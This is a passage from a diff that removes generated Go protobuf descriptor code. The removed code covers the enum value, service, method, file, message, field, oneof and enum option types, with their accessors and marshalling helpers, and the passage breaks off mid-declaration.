Describes a value within an enum. -type EnumValueDescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - Number *int32 `protobuf:"varint,2,opt,name=number" json:"number,omitempty"` - Options *EnumValueOptions `protobuf:"bytes,3,opt,name=options" json:"options,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *EnumValueDescriptorProto) Reset() { *m = EnumValueDescriptorProto{} } -func (m *EnumValueDescriptorProto) String() string { return proto.CompactTextString(m) } -func (*EnumValueDescriptorProto) ProtoMessage() {} -func (*EnumValueDescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{7} -} - -func (m *EnumValueDescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_EnumValueDescriptorProto.Unmarshal(m, b) -} -func (m *EnumValueDescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_EnumValueDescriptorProto.Marshal(b, m, deterministic) -} -func (m *EnumValueDescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_EnumValueDescriptorProto.Merge(m, src) -} -func (m *EnumValueDescriptorProto) XXX_Size() int { - return xxx_messageInfo_EnumValueDescriptorProto.Size(m) -} -func (m *EnumValueDescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_EnumValueDescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_EnumValueDescriptorProto proto.InternalMessageInfo - -func (m *EnumValueDescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *EnumValueDescriptorProto) GetNumber() int32 { - if m != nil && m.Number != nil { - return *m.Number - } - return 0 -} - -func (m *EnumValueDescriptorProto) GetOptions() *EnumValueOptions { - if m != nil { - return m.Options - } - return nil -} - -// Describes a service. -type ServiceDescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - Method []*MethodDescriptorProto `protobuf:"bytes,2,rep,name=method" json:"method,omitempty"` - Options *ServiceOptions `protobuf:"bytes,3,opt,name=options" json:"options,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *ServiceDescriptorProto) Reset() { *m = ServiceDescriptorProto{} } -func (m *ServiceDescriptorProto) String() string { return proto.CompactTextString(m) } -func (*ServiceDescriptorProto) ProtoMessage() {} -func (*ServiceDescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{8} -} - -func (m *ServiceDescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_ServiceDescriptorProto.Unmarshal(m, b) -} -func (m *ServiceDescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_ServiceDescriptorProto.Marshal(b, m, deterministic) -} -func (m *ServiceDescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_ServiceDescriptorProto.Merge(m, src) -} -func (m *ServiceDescriptorProto) XXX_Size() int { - return xxx_messageInfo_ServiceDescriptorProto.Size(m) -} -func (m *ServiceDescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_ServiceDescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_ServiceDescriptorProto proto.InternalMessageInfo - -func (m *ServiceDescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *ServiceDescriptorProto) GetMethod() []*MethodDescriptorProto { - if m != nil { - return m.Method - } - return nil -} - -func (m *ServiceDescriptorProto) GetOptions() *ServiceOptions { - if m != nil { - return m.Options - } - return nil -} - -// Describes a method of a service. -type MethodDescriptorProto struct { - Name *string `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"` - // Input and output type names. These are resolved in the same way as - // FieldDescriptorProto.type_name, but must refer to a message type. - InputType *string `protobuf:"bytes,2,opt,name=input_type,json=inputType" json:"input_type,omitempty"` - OutputType *string `protobuf:"bytes,3,opt,name=output_type,json=outputType" json:"output_type,omitempty"` - Options *MethodOptions `protobuf:"bytes,4,opt,name=options" json:"options,omitempty"` - // Identifies if client streams multiple client messages - ClientStreaming *bool `protobuf:"varint,5,opt,name=client_streaming,json=clientStreaming,def=0" json:"client_streaming,omitempty"` - // Identifies if server streams multiple server messages - ServerStreaming *bool `protobuf:"varint,6,opt,name=server_streaming,json=serverStreaming,def=0" json:"server_streaming,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *MethodDescriptorProto) Reset() { *m = MethodDescriptorProto{} } -func (m *MethodDescriptorProto) String() string { return proto.CompactTextString(m) } -func (*MethodDescriptorProto) ProtoMessage() {} -func (*MethodDescriptorProto) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{9} -} - -func (m *MethodDescriptorProto) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_MethodDescriptorProto.Unmarshal(m, b) -} -func (m *MethodDescriptorProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_MethodDescriptorProto.Marshal(b, m, deterministic) -} -func (m *MethodDescriptorProto) XXX_Merge(src proto.Message) { - xxx_messageInfo_MethodDescriptorProto.Merge(m, src) -} -func (m *MethodDescriptorProto) XXX_Size() int { - return xxx_messageInfo_MethodDescriptorProto.Size(m) -} -func (m *MethodDescriptorProto) XXX_DiscardUnknown() { - xxx_messageInfo_MethodDescriptorProto.DiscardUnknown(m) -} - -var xxx_messageInfo_MethodDescriptorProto proto.InternalMessageInfo - -const Default_MethodDescriptorProto_ClientStreaming bool = false -const Default_MethodDescriptorProto_ServerStreaming bool = false - -func (m *MethodDescriptorProto) GetName() string { - if m != nil && m.Name != nil { - return *m.Name - } - return "" -} - -func (m *MethodDescriptorProto) GetInputType() string { - if m != nil && m.InputType != nil { - return *m.InputType - } - return "" -} - -func (m *MethodDescriptorProto) GetOutputType() string { - if m != nil && m.OutputType != nil { - return *m.OutputType - } - return "" -} - -func (m *MethodDescriptorProto) GetOptions() *MethodOptions { - if m != nil { - return m.Options - } - return nil -} - -func (m *MethodDescriptorProto) GetClientStreaming() bool { - if m != nil && m.ClientStreaming != nil { - return *m.ClientStreaming - } - return Default_MethodDescriptorProto_ClientStreaming -} - -func (m *MethodDescriptorProto) GetServerStreaming() bool { - if m != nil && m.ServerStreaming != nil { - return *m.ServerStreaming - } - return Default_MethodDescriptorProto_ServerStreaming -} - -type FileOptions struct { - // Sets the Java package where classes generated from this .proto will be - // placed. By default, the proto package is used, but this is often - // inappropriate because proto packages do not normally start with backwards - // domain names. - JavaPackage *string `protobuf:"bytes,1,opt,name=java_package,json=javaPackage" json:"java_package,omitempty"` - // If set, all the classes from the .proto file are wrapped in a single - // outer class with the given name. This applies to both Proto1 - // (equivalent to the old "--one_java_file" option) and Proto2 (where - // a .proto always translates to a single class, but you may want to - // explicitly choose the class name). - JavaOuterClassname *string `protobuf:"bytes,8,opt,name=java_outer_classname,json=javaOuterClassname" json:"java_outer_classname,omitempty"` - // If set true, then the Java code generator will generate a separate .java - // file for each top-level message, enum, and service defined in the .proto - // file. Thus, these types will *not* be nested inside the outer class - // named by java_outer_classname. However, the outer class will still be - // generated to contain the file's getDescriptor() method as well as any - // top-level extensions defined in the file. - JavaMultipleFiles *bool `protobuf:"varint,10,opt,name=java_multiple_files,json=javaMultipleFiles,def=0" json:"java_multiple_files,omitempty"` - // This option does nothing. - JavaGenerateEqualsAndHash *bool `protobuf:"varint,20,opt,name=java_generate_equals_and_hash,json=javaGenerateEqualsAndHash" json:"java_generate_equals_and_hash,omitempty"` // Deprecated: Do not use. - // If set true, then the Java2 code generator will generate code that - // throws an exception whenever an attempt is made to assign a non-UTF-8 - // byte sequence to a string field. - // Message reflection will do the same. - // However, an extension field still accepts non-UTF-8 byte sequences. - // This option has no effect on when used with the lite runtime. - JavaStringCheckUtf8 *bool `protobuf:"varint,27,opt,name=java_string_check_utf8,json=javaStringCheckUtf8,def=0" json:"java_string_check_utf8,omitempty"` - OptimizeFor *FileOptions_OptimizeMode `protobuf:"varint,9,opt,name=optimize_for,json=optimizeFor,enum=google.protobuf.FileOptions_OptimizeMode,def=1" json:"optimize_for,omitempty"` - // Sets the Go package where structs generated from this .proto will be - // placed. If omitted, the Go package will be derived from the following: - // - The basename of the package import path, if provided. - // - Otherwise, the package statement in the .proto file, if present. - // - Otherwise, the basename of the .proto file, without extension. - GoPackage *string `protobuf:"bytes,11,opt,name=go_package,json=goPackage" json:"go_package,omitempty"` - // Should generic services be generated in each language? "Generic" services - // are not specific to any particular RPC system. They are generated by the - // main code generators in each language (without additional plugins). - // Generic services were the only kind of service generation supported by - // early versions of google.protobuf. - // - // Generic services are now considered deprecated in favor of using plugins - // that generate code specific to your particular RPC system. Therefore, - // these default to false. Old code which depends on generic services should - // explicitly set them to true. - CcGenericServices *bool `protobuf:"varint,16,opt,name=cc_generic_services,json=ccGenericServices,def=0" json:"cc_generic_services,omitempty"` - JavaGenericServices *bool `protobuf:"varint,17,opt,name=java_generic_services,json=javaGenericServices,def=0" json:"java_generic_services,omitempty"` - PyGenericServices *bool `protobuf:"varint,18,opt,name=py_generic_services,json=pyGenericServices,def=0" json:"py_generic_services,omitempty"` - PhpGenericServices *bool `protobuf:"varint,42,opt,name=php_generic_services,json=phpGenericServices,def=0" json:"php_generic_services,omitempty"` - // Is this file deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for everything in the file, or it will be completely ignored; in the very - // least, this is a formalization for deprecating files. - Deprecated *bool `protobuf:"varint,23,opt,name=deprecated,def=0" json:"deprecated,omitempty"` - // Enables the use of arenas for the proto messages in this file. This applies - // only to generated classes for C++. - CcEnableArenas *bool `protobuf:"varint,31,opt,name=cc_enable_arenas,json=ccEnableArenas,def=0" json:"cc_enable_arenas,omitempty"` - // Sets the objective c class prefix which is prepended to all objective c - // generated classes from this .proto. There is no default. - ObjcClassPrefix *string `protobuf:"bytes,36,opt,name=objc_class_prefix,json=objcClassPrefix" json:"objc_class_prefix,omitempty"` - // Namespace for generated classes; defaults to the package. - CsharpNamespace *string `protobuf:"bytes,37,opt,name=csharp_namespace,json=csharpNamespace" json:"csharp_namespace,omitempty"` - // By default Swift generators will take the proto package and CamelCase it - // replacing '.' with underscore and use that to prefix the types/symbols - // defined. When this options is provided, they will use this value instead - // to prefix the types/symbols defined. - SwiftPrefix *string `protobuf:"bytes,39,opt,name=swift_prefix,json=swiftPrefix" json:"swift_prefix,omitempty"` - // Sets the php class prefix which is prepended to all php generated classes - // from this .proto. Default is empty. - PhpClassPrefix *string `protobuf:"bytes,40,opt,name=php_class_prefix,json=phpClassPrefix" json:"php_class_prefix,omitempty"` - // Use this option to change the namespace of php generated classes. Default - // is empty. When this option is empty, the package name will be used for - // determining the namespace. - PhpNamespace *string `protobuf:"bytes,41,opt,name=php_namespace,json=phpNamespace" json:"php_namespace,omitempty"` - // Use this option to change the namespace of php generated metadata classes. - // Default is empty. When this option is empty, the proto file name will be used - // for determining the namespace. - PhpMetadataNamespace *string `protobuf:"bytes,44,opt,name=php_metadata_namespace,json=phpMetadataNamespace" json:"php_metadata_namespace,omitempty"` - // Use this option to change the package of ruby generated classes. Default - // is empty. When this option is not set, the package name will be used for - // determining the ruby package. - RubyPackage *string `protobuf:"bytes,45,opt,name=ruby_package,json=rubyPackage" json:"ruby_package,omitempty"` - // The parser stores options it doesn't recognize here. - // See the documentation for the "Options" section above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *FileOptions) Reset() { *m = FileOptions{} } -func (m *FileOptions) String() string { return proto.CompactTextString(m) } -func (*FileOptions) ProtoMessage() {} -func (*FileOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{10} -} - -var extRange_FileOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*FileOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_FileOptions -} - -func (m *FileOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_FileOptions.Unmarshal(m, b) -} -func (m *FileOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_FileOptions.Marshal(b, m, deterministic) -} -func (m *FileOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_FileOptions.Merge(m, src) -} -func (m *FileOptions) XXX_Size() int { - return xxx_messageInfo_FileOptions.Size(m) -} -func (m *FileOptions) XXX_DiscardUnknown() { - xxx_messageInfo_FileOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_FileOptions proto.InternalMessageInfo - -const Default_FileOptions_JavaMultipleFiles bool = false -const Default_FileOptions_JavaStringCheckUtf8 bool = false -const Default_FileOptions_OptimizeFor FileOptions_OptimizeMode = FileOptions_SPEED -const Default_FileOptions_CcGenericServices bool = false -const Default_FileOptions_JavaGenericServices bool = false -const Default_FileOptions_PyGenericServices bool = false -const Default_FileOptions_PhpGenericServices bool = false -const Default_FileOptions_Deprecated bool = false -const Default_FileOptions_CcEnableArenas bool = false - -func (m *FileOptions) GetJavaPackage() string { - if m != nil && m.JavaPackage != nil { - return *m.JavaPackage - } - return "" -} - -func (m *FileOptions) GetJavaOuterClassname() string { - if m != nil && m.JavaOuterClassname != nil { - return *m.JavaOuterClassname - } - return "" -} - -func (m *FileOptions) GetJavaMultipleFiles() bool { - if m != nil && m.JavaMultipleFiles != nil { - return *m.JavaMultipleFiles - } - return Default_FileOptions_JavaMultipleFiles -} - -// Deprecated: Do not use. -func (m *FileOptions) GetJavaGenerateEqualsAndHash() bool { - if m != nil && m.JavaGenerateEqualsAndHash != nil { - return *m.JavaGenerateEqualsAndHash - } - return false -} - -func (m *FileOptions) GetJavaStringCheckUtf8() bool { - if m != nil && m.JavaStringCheckUtf8 != nil { - return *m.JavaStringCheckUtf8 - } - return Default_FileOptions_JavaStringCheckUtf8 -} - -func (m *FileOptions) GetOptimizeFor() FileOptions_OptimizeMode { - if m != nil && m.OptimizeFor != nil { - return *m.OptimizeFor - } - return Default_FileOptions_OptimizeFor -} - -func (m *FileOptions) GetGoPackage() string { - if m != nil && m.GoPackage != nil { - return *m.GoPackage - } - return "" -} - -func (m *FileOptions) GetCcGenericServices() bool { - if m != nil && m.CcGenericServices != nil { - return *m.CcGenericServices - } - return Default_FileOptions_CcGenericServices -} - -func (m *FileOptions) GetJavaGenericServices() bool { - if m != nil && m.JavaGenericServices != nil { - return *m.JavaGenericServices - } - return Default_FileOptions_JavaGenericServices -} - -func (m *FileOptions) GetPyGenericServices() bool { - if m != nil && m.PyGenericServices != nil { - return *m.PyGenericServices - } - return Default_FileOptions_PyGenericServices -} - -func (m *FileOptions) GetPhpGenericServices() bool { - if m != nil && m.PhpGenericServices != nil { - return *m.PhpGenericServices - } - return Default_FileOptions_PhpGenericServices -} - -func (m *FileOptions) GetDeprecated() bool { - if m != nil && m.Deprecated != nil { - return *m.Deprecated - } - return Default_FileOptions_Deprecated -} - -func (m *FileOptions) GetCcEnableArenas() bool { - if m != nil && m.CcEnableArenas != nil { - return *m.CcEnableArenas - } - return Default_FileOptions_CcEnableArenas -} - -func (m *FileOptions) GetObjcClassPrefix() string { - if m != nil && m.ObjcClassPrefix != nil { - return *m.ObjcClassPrefix - } - return "" -} - -func (m *FileOptions) GetCsharpNamespace() string { - if m != nil && m.CsharpNamespace != nil { - return *m.CsharpNamespace - } - return "" -} - -func (m *FileOptions) GetSwiftPrefix() string { - if m != nil && m.SwiftPrefix != nil { - return *m.SwiftPrefix - } - return "" -} - -func (m *FileOptions) GetPhpClassPrefix() string { - if m != nil && m.PhpClassPrefix != nil { - return *m.PhpClassPrefix - } - return "" -} - -func (m *FileOptions) GetPhpNamespace() string { - if m != nil && m.PhpNamespace != nil { - return *m.PhpNamespace - } - return "" -} - -func (m *FileOptions) GetPhpMetadataNamespace() string { - if m != nil && m.PhpMetadataNamespace != nil { - return *m.PhpMetadataNamespace - } - return "" -} - -func (m *FileOptions) GetRubyPackage() string { - if m != nil && m.RubyPackage != nil { - return *m.RubyPackage - } - return "" -} - -func (m *FileOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -type MessageOptions struct { - // Set true to use the old proto1 MessageSet wire format for extensions. - // This is provided for backwards-compatibility with the MessageSet wire - // format. You should not use this for any other reason: It's less - // efficient, has fewer features, and is more complicated. - // - // The message must be defined exactly as follows: - // message Foo { - // option message_set_wire_format = true; - // extensions 4 to max; - // } - // Note that the message cannot have any defined fields; MessageSets only - // have extensions. - // - // All extensions of your type must be singular messages; e.g. they cannot - // be int32s, enums, or repeated messages. - // - // Because this is an option, the above two restrictions are not enforced by - // the protocol compiler. - MessageSetWireFormat *bool `protobuf:"varint,1,opt,name=message_set_wire_format,json=messageSetWireFormat,def=0" json:"message_set_wire_format,omitempty"` - // Disables the generation of the standard "descriptor()" accessor, which can - // conflict with a field of the same name. This is meant to make migration - // from proto1 easier; new code should avoid fields named "descriptor". - NoStandardDescriptorAccessor *bool `protobuf:"varint,2,opt,name=no_standard_descriptor_accessor,json=noStandardDescriptorAccessor,def=0" json:"no_standard_descriptor_accessor,omitempty"` - // Is this message deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the message, or it will be completely ignored; in the very least, - // this is a formalization for deprecating messages. - Deprecated *bool `protobuf:"varint,3,opt,name=deprecated,def=0" json:"deprecated,omitempty"` - // Whether the message is an automatically generated map entry type for the - // maps field. - // - // For maps fields: - // map map_field = 1; - // The parsed descriptor looks like: - // message MapFieldEntry { - // option map_entry = true; - // optional KeyType key = 1; - // optional ValueType value = 2; - // } - // repeated MapFieldEntry map_field = 1; - // - // Implementations may choose not to generate the map_entry=true message, but - // use a native map in the target language to hold the keys and values. - // The reflection APIs in such implementions still need to work as - // if the field is a repeated message field. - // - // NOTE: Do not set the option in .proto files. Always use the maps syntax - // instead. The option should only be implicitly set by the proto compiler - // parser. - MapEntry *bool `protobuf:"varint,7,opt,name=map_entry,json=mapEntry" json:"map_entry,omitempty"` - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *MessageOptions) Reset() { *m = MessageOptions{} } -func (m *MessageOptions) String() string { return proto.CompactTextString(m) } -func (*MessageOptions) ProtoMessage() {} -func (*MessageOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{11} -} - -var extRange_MessageOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*MessageOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_MessageOptions -} - -func (m *MessageOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_MessageOptions.Unmarshal(m, b) -} -func (m *MessageOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_MessageOptions.Marshal(b, m, deterministic) -} -func (m *MessageOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_MessageOptions.Merge(m, src) -} -func (m *MessageOptions) XXX_Size() int { - return xxx_messageInfo_MessageOptions.Size(m) -} -func (m *MessageOptions) XXX_DiscardUnknown() { - xxx_messageInfo_MessageOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_MessageOptions proto.InternalMessageInfo - -const Default_MessageOptions_MessageSetWireFormat bool = false -const Default_MessageOptions_NoStandardDescriptorAccessor bool = false -const Default_MessageOptions_Deprecated bool = false - -func (m *MessageOptions) GetMessageSetWireFormat() bool { - if m != nil && m.MessageSetWireFormat != nil { - return *m.MessageSetWireFormat - } - return Default_MessageOptions_MessageSetWireFormat -} - -func (m *MessageOptions) GetNoStandardDescriptorAccessor() bool { - if m != nil && m.NoStandardDescriptorAccessor != nil { - return *m.NoStandardDescriptorAccessor - } - return Default_MessageOptions_NoStandardDescriptorAccessor -} - -func (m *MessageOptions) GetDeprecated() bool { - if m != nil && m.Deprecated != nil { - return *m.Deprecated - } - return Default_MessageOptions_Deprecated -} - -func (m *MessageOptions) GetMapEntry() bool { - if m != nil && m.MapEntry != nil { - return *m.MapEntry - } - return false -} - -func (m *MessageOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -type FieldOptions struct { - // The ctype option instructs the C++ code generator to use a different - // representation of the field than it normally would. See the specific - // options below. This option is not yet implemented in the open source - // release -- sorry, we'll try to include it in a future version! - Ctype *FieldOptions_CType `protobuf:"varint,1,opt,name=ctype,enum=google.protobuf.FieldOptions_CType,def=0" json:"ctype,omitempty"` - // The packed option can be enabled for repeated primitive fields to enable - // a more efficient representation on the wire. Rather than repeatedly - // writing the tag and type for each element, the entire array is encoded as - // a single length-delimited blob. In proto3, only explicit setting it to - // false will avoid using packed encoding. - Packed *bool `protobuf:"varint,2,opt,name=packed" json:"packed,omitempty"` - // The jstype option determines the JavaScript type used for values of the - // field. The option is permitted only for 64 bit integral and fixed types - // (int64, uint64, sint64, fixed64, sfixed64). A field with jstype JS_STRING - // is represented as JavaScript string, which avoids loss of precision that - // can happen when a large value is converted to a floating point JavaScript. - // Specifying JS_NUMBER for the jstype causes the generated JavaScript code to - // use the JavaScript "number" type. The behavior of the default option - // JS_NORMAL is implementation dependent. - // - // This option is an enum to permit additional types to be added, e.g. - // goog.math.Integer. - Jstype *FieldOptions_JSType `protobuf:"varint,6,opt,name=jstype,enum=google.protobuf.FieldOptions_JSType,def=0" json:"jstype,omitempty"` - // Should this field be parsed lazily? Lazy applies only to message-type - // fields. It means that when the outer message is initially parsed, the - // inner message's contents will not be parsed but instead stored in encoded - // form. The inner message will actually be parsed when it is first accessed. - // - // This is only a hint. Implementations are free to choose whether to use - // eager or lazy parsing regardless of the value of this option. However, - // setting this option true suggests that the protocol author believes that - // using lazy parsing on this field is worth the additional bookkeeping - // overhead typically needed to implement it. - // - // This option does not affect the public interface of any generated code; - // all method signatures remain the same. Furthermore, thread-safety of the - // interface is not affected by this option; const methods remain safe to - // call from multiple threads concurrently, while non-const methods continue - // to require exclusive access. - // - // - // Note that implementations may choose not to check required fields within - // a lazy sub-message. That is, calling IsInitialized() on the outer message - // may return true even if the inner message has missing required fields. - // This is necessary because otherwise the inner message would have to be - // parsed in order to perform the check, defeating the purpose of lazy - // parsing. An implementation which chooses not to check required fields - // must be consistent about it. That is, for any particular sub-message, the - // implementation must either *always* check its required fields, or *never* - // check its required fields, regardless of whether or not the message has - // been parsed. - Lazy *bool `protobuf:"varint,5,opt,name=lazy,def=0" json:"lazy,omitempty"` - // Is this field deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for accessors, or it will be completely ignored; in the very least, this - // is a formalization for deprecating fields. - Deprecated *bool `protobuf:"varint,3,opt,name=deprecated,def=0" json:"deprecated,omitempty"` - // For Google-internal migration only. Do not use. - Weak *bool `protobuf:"varint,10,opt,name=weak,def=0" json:"weak,omitempty"` - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *FieldOptions) Reset() { *m = FieldOptions{} } -func (m *FieldOptions) String() string { return proto.CompactTextString(m) } -func (*FieldOptions) ProtoMessage() {} -func (*FieldOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{12} -} - -var extRange_FieldOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*FieldOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_FieldOptions -} - -func (m *FieldOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_FieldOptions.Unmarshal(m, b) -} -func (m *FieldOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_FieldOptions.Marshal(b, m, deterministic) -} -func (m *FieldOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_FieldOptions.Merge(m, src) -} -func (m *FieldOptions) XXX_Size() int { - return xxx_messageInfo_FieldOptions.Size(m) -} -func (m *FieldOptions) XXX_DiscardUnknown() { - xxx_messageInfo_FieldOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_FieldOptions proto.InternalMessageInfo - -const Default_FieldOptions_Ctype FieldOptions_CType = FieldOptions_STRING -const Default_FieldOptions_Jstype FieldOptions_JSType = FieldOptions_JS_NORMAL -const Default_FieldOptions_Lazy bool = false -const Default_FieldOptions_Deprecated bool = false -const Default_FieldOptions_Weak bool = false - -func (m *FieldOptions) GetCtype() FieldOptions_CType { - if m != nil && m.Ctype != nil { - return *m.Ctype - } - return Default_FieldOptions_Ctype -} - -func (m *FieldOptions) GetPacked() bool { - if m != nil && m.Packed != nil { - return *m.Packed - } - return false -} - -func (m *FieldOptions) GetJstype() FieldOptions_JSType { - if m != nil && m.Jstype != nil { - return *m.Jstype - } - return Default_FieldOptions_Jstype -} - -func (m *FieldOptions) GetLazy() bool { - if m != nil && m.Lazy != nil { - return *m.Lazy - } - return Default_FieldOptions_Lazy -} - -func (m *FieldOptions) GetDeprecated() bool { - if m != nil && m.Deprecated != nil { - return *m.Deprecated - } - return Default_FieldOptions_Deprecated -} - -func (m *FieldOptions) GetWeak() bool { - if m != nil && m.Weak != nil { - return *m.Weak - } - return Default_FieldOptions_Weak -} - -func (m *FieldOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -type OneofOptions struct { - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *OneofOptions) Reset() { *m = OneofOptions{} } -func (m *OneofOptions) String() string { return proto.CompactTextString(m) } -func (*OneofOptions) ProtoMessage() {} -func (*OneofOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{13} -} - -var extRange_OneofOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*OneofOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_OneofOptions -} - -func (m *OneofOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_OneofOptions.Unmarshal(m, b) -} -func (m *OneofOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_OneofOptions.Marshal(b, m, deterministic) -} -func (m *OneofOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_OneofOptions.Merge(m, src) -} -func (m *OneofOptions) XXX_Size() int { - return xxx_messageInfo_OneofOptions.Size(m) -} -func (m *OneofOptions) XXX_DiscardUnknown() { - xxx_messageInfo_OneofOptions.DiscardUnknown(m) -} - -var xxx_messageInfo_OneofOptions proto.InternalMessageInfo - -func (m *OneofOptions) GetUninterpretedOption() []*UninterpretedOption { - if m != nil { - return m.UninterpretedOption - } - return nil -} - -type EnumOptions struct { - // Set this option to true to allow mapping different tag names to the same - // value. - AllowAlias *bool `protobuf:"varint,2,opt,name=allow_alias,json=allowAlias" json:"allow_alias,omitempty"` - // Is this enum deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the enum, or it will be completely ignored; in the very least, this - // is a formalization for deprecating enums. - Deprecated *bool `protobuf:"varint,3,opt,name=deprecated,def=0" json:"deprecated,omitempty"` - // The parser stores options it doesn't recognize here. See above. - UninterpretedOption []*UninterpretedOption `protobuf:"bytes,999,rep,name=uninterpreted_option,json=uninterpretedOption" json:"uninterpreted_option,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - proto.XXX_InternalExtensions `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *EnumOptions) Reset() { *m = EnumOptions{} } -func (m *EnumOptions) String() string { return proto.CompactTextString(m) } -func (*EnumOptions) ProtoMessage() {} -func (*EnumOptions) Descriptor() ([]byte, []int) { - return fileDescriptor_e5baabe45344a177, []int{14} -} - -var extRange_EnumOptions = []proto.ExtensionRange{ - {Start: 1000, End: 536870911}, -} - -func (*EnumOptions) ExtensionRangeArray() []proto.ExtensionRange { - return extRange_EnumOptions -} - -func (m *EnumOptions) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_EnumOptions.Unmarshal(m, b) -} -func (m *EnumOptions) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_EnumOptions.Marshal(b, m, deterministic) -} -func (m *EnumOptions) XXX_Merge(src proto.Message) { - xxx_messageInfo_EnumOptions.Merge(m, src) -} -func (m *EnumOptions) XXX_Size() int { - return xxx_messageInfo_EnumOptions.Size(m) -} -func (m *EnumOptions) XXX_DiscardUnknown() { - xxx_messageInfo_EnumOptions.DiscardUnknown(m) -} - -var 